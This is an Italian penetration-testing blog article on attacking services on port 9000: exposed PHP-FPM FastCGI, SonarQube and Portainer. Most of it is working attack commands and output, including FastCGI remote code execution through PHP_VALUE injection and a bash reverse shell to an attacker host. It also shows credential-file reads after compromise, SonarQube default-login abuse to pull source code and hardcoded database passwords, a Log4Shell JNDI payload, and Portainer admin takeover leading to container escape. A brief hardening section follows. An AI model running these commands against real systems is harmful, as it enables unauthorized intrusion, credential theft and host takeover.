networking

Porta 9000 Pentest: PHP-FPM RCE, SonarQube e Portainer

Porta 9000 Pentest: PHP-FPM RCE, SonarQube e Portainer

Porta 9000: RCE diretta via PHP-FPM FastCGI esposto, SonarQube admin:admin con codice sorgente e credenziali hardcoded, Portainer senza setup iniziale e container escape.

  • Pubblicato il 2026-04-18
  • Tempo di lettura: 5 min

La porta 9000 TCP è condivisa da due servizi completamente diversi ma entrambi devastanti se compromessi: PHP-FPM (FastCGI Process Manager), il backend che esegue il codice PHP dietro Nginx e Apache, e SonarQube, la piattaforma di analisi della qualità del codice che contiene letteralmente il codice sorgente dell’azienda con ogni vulnerabilità già catalogata. Come se non bastasse, la porta 9000 è anche quella di default di Portainer (la UI di gestione Docker). Tre servizi, un solo numero di porta, tre modi diversi per compromettere un’infrastruttura — il primo passo è sempre capire con chi stai parlando.

PHP-FPM esposto sulla rete è il sogno di ogni pentester: il protocollo FastCGI permette di specificare quale file PHP eseguire e con quali variabili d’ambiente, ottenendo RCE immediata senza bisogno di credenziali. SonarQube con credenziali di default (admin:admin) dà accesso a tutto il codice sorgente con un elenco ordinato di vulnerabilità già trovate dall’analisi statica — è come avere il report di un code audit pagato dall’azienda target, gratis.

1. Identificare il Servizio #

bash
nmap -sV -p 9000 10.10.10.40
bash
# Banner HTTP
curl -s http://10.10.10.40:9000/ -I
RispostaServizioGravità
Nessun banner HTTP, connessione binariaPHP-FPM (FastCGI)Critica — RCE diretta
HTML con “SonarQube”SonarQubeAlta — codice sorgente
HTML con “Portainer”PortainerCritica — gestione Docker
Server: MinioMinIO (object storage)Alta — file e credenziali
Connessione rifiutata via HTTPProbabile FastCGI (non parla HTTP)Testa con cgi-fcgi
bash
# Test specifico PHP-FPM (non risponde a HTTP)
echo -e "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" | nc 10.10.10.40 9000 | xxd | head -5

Se ricevi una risposta binaria con byte \x01 iniziale → è FastCGI.


PARTE 1: PHP-FPM (FastCGI) #

Come Funziona PHP-FPM #

PHP-FPM è il processo che esegue il codice PHP. Nginx non esegue PHP direttamente — lo passa a PHP-FPM tramite il protocollo FastCGI, tipicamente su un socket Unix o sulla porta 9000 TCP. In una configurazione corretta, PHP-FPM ascolta solo su 127.0.0.1:9000 o su un socket. Ma quando è esposto sulla rete — errore di configurazione comune in ambienti Docker dove il container PHP-FPM fa bind su 0.0.0.0:9000 — chiunque può inviare richieste FastCGI.

text
Client           Nginx (:80)              PHP-FPM (:9000)
┌──────┐        ┌──────────┐             ┌──────────────┐
│ GET  │──HTTP─►│ Riceve   │──FastCGI──►│ Esegue PHP   │
│ /page│        │ request  │             │ Restituisce  │
│      │◄─HTML──│ Ritorna  │◄──output───│ output HTML  │
└──────┘        └──────────┘             └──────────────┘

Attacker (se FastCGI è esposto)
┌──────┐                                ┌──────────────┐
│ cgi- │──FastCGI diretto─────────────►│ Esegue PHP   │
│ fcgi │                                │ (RCE!)       │
└──────┘                                └──────────────┘

2.1 RCE via FastCGI — Il Modo Classico #

Il protocollo FastCGI permette di specificare variabili d’ambiente che controllano quale file PHP viene eseguito. Puoi forzare l’esecuzione di qualsiasi file PHP presente sul server, o — con la variabile PHP_VALUE — iniettare configurazioni che abilitano RCE.

bash
# Tool: cgi-fcgi
SCRIPT_FILENAME=/var/www/html/index.php \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 10.10.10.40:9000

Se restituisce l’output di index.php → FastCGI esposto e funzionante.

RCE con PHP_VALUE injection #

bash
# Tool dedicato: fcgi_exp o pyfcgi
python3 fpm_exploit.py 10.10.10.40 9000 /var/www/html/index.php \
  -c "<?php system('id'); ?>"

Il meccanismo:

bash
# Imposta PHP_VALUE per auto_prepend_file con codice PHP inline
# via php://input
SCRIPT_FILENAME=/var/www/html/index.php \
PHP_VALUE="auto_prepend_file=php://input" \
PHP_ADMIN_VALUE="allow_url_include=On" \
cgi-fcgi -bind -connect 10.10.10.40:9000 <<< '<?php system("id"); ?>'
text
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE come www-data — senza credenziali, senza autenticazione.

Reverse shell via FastCGI #

bash
python3 fpm_exploit.py 10.10.10.40 9000 /var/www/html/index.php \
  -c "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1\"'); ?>"

Script Python per exploitation FastCGI #

python
#!/usr/bin/env python3
"""Exploit PHP-FPM FastCGI esposto sulla rete"""
import socket, struct

def build_fcgi_request(script, cmd):
    """Costruisce un pacchetto FastCGI con PHP_VALUE per RCE"""
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': script,
        'CONTENT_TYPE': 'application/x-www-form-urlencoded',
        'CONTENT_LENGTH': str(len(cmd)),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    # ... encoding FastCGI protocol ...
    return encoded_request

# Uso:
# python3 fcgi_exploit.py 10.10.10.40 9000 /var/www/html/index.php "<?php system('id'); ?>"

Per lo script completo, cerca fpm_rce.py o usa il modulo Gopherus.

Gopherus per SSRF-to-FastCGI #

Se non puoi raggiungere la 9000 direttamente ma hai una SSRF su un altro servizio:

bash
# Gopherus genera il payload gopher:// per FastCGI
python3 gopherus.py --exploit fastcgi
# Input: /var/www/html/index.php
# Input: id
# Output: gopher://127.0.0.1:9000/_payload...

Invia il payload gopher via SSRF → RCE su PHP-FPM tramite il servizio intermedio.

Post-exploitation PHP-FPM #

bash
# Sei www-data — cerca credenziali
cat /var/www/html/.env
cat /var/www/html/config/database.php
cat /var/www/html/wp-config.php
find /var/www -name "*.conf" -o -name "*.env" -o -name "*.yml" | xargs grep -liE "password|secret|key" 2>/dev/null

Privilege escalation da www-data: Linux Privilege Escalation.


PARTE 2: SonarQube #

Cos’è SonarQube #

SonarQube è la piattaforma di code quality e security analysis più usata in CI/CD. Analizza il codice sorgente, trova bug, code smell e — la parte che ci interessa — vulnerabilità di sicurezza. Ogni progetto analizzato da SonarQube contiene: il codice sorgente completo, la lista delle vulnerabilità trovate ordinata per severità, le credenziali hardcoded nel codice, e la configurazione CI/CD. È il regalo perfetto per un pentester.

3.1 Enumerazione #

bash
curl -s http://10.10.10.40:9000/ -I
text
HTTP/1.1 200 OK
Content-Type: text/html
bash
# Versione
curl -s http://10.10.10.40:9000/api/system/status | python3 -m json.tool
json
{"id":"ABC123","version":"10.3.0","status":"UP"}

3.2 Default Credentials #

bash
# Default: admin:admin
curl -s -u admin:admin http://10.10.10.40:9000/api/authentication/validate
json
{"valid": true}

admin:admin funziona nel 90% delle installazioni SonarQube che trovo. Il sistema chiede di cambiare la password al primo login, ma molti lo ignorano.

3.3 Enumerazione Progetti #

bash
# Lista tutti i progetti
curl -s -u admin:admin "http://10.10.10.40:9000/api/projects/search?ps=500" | python3 -m json.tool
json
{
    "components": [
        {"key": "com.corp:webapp", "name": "WebApp Production", "qualifier": "TRK"},
        {"key": "com.corp:api-backend", "name": "API Backend", "qualifier": "TRK"},
        {"key": "com.corp:mobile-app", "name": "Mobile App Android", "qualifier": "TRK"},
        {"key": "com.corp:payment-service", "name": "Payment Service", "qualifier": "TRK"},
        {"key": "com.corp:infra-scripts", "name": "Infrastructure Scripts", "qualifier": "TRK"}
    ]
}

Cinque progetti — incluso il servizio di pagamento e gli script di infrastruttura.

3.4 Vulnerabilità — Il Playbook dell’Attacco #

bash
# Tutte le vulnerabilità del progetto, ordinate per severità
curl -s -u admin:admin "http://10.10.10.40:9000/api/issues/search?componentKeys=com.corp:webapp&types=VULNERABILITY&severities=BLOCKER,CRITICAL&ps=100" | python3 -m json.tool
json
{
    "issues": [
        {
            "key": "AX123",
            "rule": "java:S2076",
            "severity": "CRITICAL",
            "message": "OS command injection: user input used in Runtime.exec()",
            "component": "src/main/java/com/corp/webapp/AdminController.java",
            "line": 45
        },
        {
            "key": "AX456",
            "rule": "java:S2078",
            "severity": "CRITICAL",
            "message": "LDAP injection: user input used in search filter",
            "component": "src/main/java/com/corp/webapp/AuthService.java",
            "line": 112
        },
        {
            "key": "AX789",
            "rule": "java:S2068",
            "severity": "BLOCKER",
            "message": "Hard-coded credentials: password found in source code",
            "component": "src/main/java/com/corp/webapp/DatabaseConfig.java",
            "line": 23
        }
    ]
}

SonarQube ti ha appena detto:

  1. Command injection su AdminController.java riga 45
  2. LDAP injection su AuthService.java riga 112
  3. Password hardcoded su DatabaseConfig.java riga 23

È un audit di sicurezza completo — e non hai dovuto fare niente, l’ha fatto il team DevOps dell’azienda per te.

3.5 Codice Sorgente #

bash
# Leggi il codice sorgente del file vulnerabile
curl -s -u admin:admin "http://10.10.10.40:9000/api/sources/raw?key=com.corp:webapp:src/main/java/com/corp/webapp/DatabaseConfig.java"
java
public class DatabaseConfig {
    private static final String DB_HOST = "db-prod.corp.internal";
    private static final String DB_USER = "webapp";
    private static final String DB_PASSWORD = "W3bApp_DB_2025!";  // ← riga 23
}

Credenziali del database di produzione, in chiaro nel codice sorgente.

3.6 Credenziali Hardcoded — Scan Massivo #

bash
# Cerca tutte le credenziali hardcoded in tutti i progetti
curl -s -u admin:admin "http://10.10.10.40:9000/api/issues/search?rules=java:S2068,python:S2068,javascript:S2068&ps=500" | python3 -m json.tool

3.7 Token e Webhook #

bash
# Token utente (per accesso API persistente)
curl -s -u admin:admin "http://10.10.10.40:9000/api/user_tokens/search"

# Webhook configurati (possono rivelare URL interni CI/CD)
curl -s -u admin:admin "http://10.10.10.40:9000/api/webhooks/list"

3.8 CVE SonarQube #

bash
searchsploit sonarqube

CVE-2021-42392 — Log4Shell (SonarQube < 9.2.4 usa Log4j):

bash
# Payload Log4Shell nel campo login
curl -s -X POST http://10.10.10.40:9000/api/authentication/login \
  -d "login=\${jndi:ldap://10.10.10.200:1389/exploit}&password=test"

PARTE 3: Portainer (se presente sulla 9000) #

Portainer è la UI di gestione Docker. Se lo trovi:

bash
# Verifica
curl -s http://10.10.10.40:9000/api/status | python3 -m json.tool
json
{"Version": "2.19.4", "InstanceID": "abc123"}

Portainer senza password iniziale #

Se Portainer non è stato configurato (primo accesso):

bash
# Crea l'utente admin
curl -s -X POST http://10.10.10.40:9000/api/users/admin/init \
  -H "Content-Type: application/json" \
  -d '{"Username":"admin","Password":"Attacker_2025!"}'

Se risponde 200 → hai appena creato l’admin. Accesso completo a Docker → container escape → root sull’host.

Con Portainer → crea container privilegiato → monta filesystem host → root.

5. Detection & Hardening #

PHP-FPM #

  • Bind su 127.0.0.1 o socket Unix — mai 0.0.0.0:9000
  • Firewall — porta 9000 bloccata dall’esterno
  • In Docker: rete interna tra Nginx e PHP-FPM, non port mapping
  • security.limit_extensions = .php — limita le estensioni eseguibili

SonarQube #

  • Cambia la password admin — primo step dopo l’installazione
  • Non esporre su Internet — SonarQube dietro VPN
  • RBAC — utenti con accesso solo ai propri progetti
  • Disabilita la registrazione pubblica
  • Aggiorna — le CVE SonarQube includono Log4Shell

Portainer #

  • Configura l’admin immediatamente dopo il deploy
  • TLS — non HTTP in chiaro
  • Non esporre sulla rete pubblica

6. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 9000 target
Identificacurl -s http://target:9000/ -I + test binario FastCGI
PHP-FPM
RCEpython3 fpm_exploit.py target 9000 /var/www/html/index.php -c "<?php system('id');?>"
Gopheruspython3 gopherus.py --exploit fastcgi (per SSRF)
SonarQube
Default credsadmin:admin
Versionecurl http://target:9000/api/system/status
Progetticurl -u admin:admin ".../api/projects/search"
Vulnerabilitàcurl -u admin:admin ".../api/issues/search?types=VULNERABILITY&severities=CRITICAL"
Codice sorgentecurl -u admin:admin ".../api/sources/raw?key=project:path/file.java"
Creds hardcodedcurl -u admin:admin ".../api/issues/search?rules=java:S2068"
Portainer
Statuscurl http://target:9000/api/status
Init admincurl -X POST .../api/users/admin/init -d '{"Username":"admin","Password":"..."}'

Riferimento: PHP-FPM Security, SonarQube API docs, Portainer docs, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-9000-dev-tools-development-tools-protocol

Il codice sorgente della tua azienda è esposto su SonarQube senza password? Il PHP-FPM è raggiungibile dalla rete? Scoprilo prima con HackIta. Vuoi imparare a trovare queste vulnerabilità da solo? Formazione pratica 1:1.

#porta-9000 #php-fpm-fastcgi-rce #sonarqube-pentest #portainer-exploitation

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.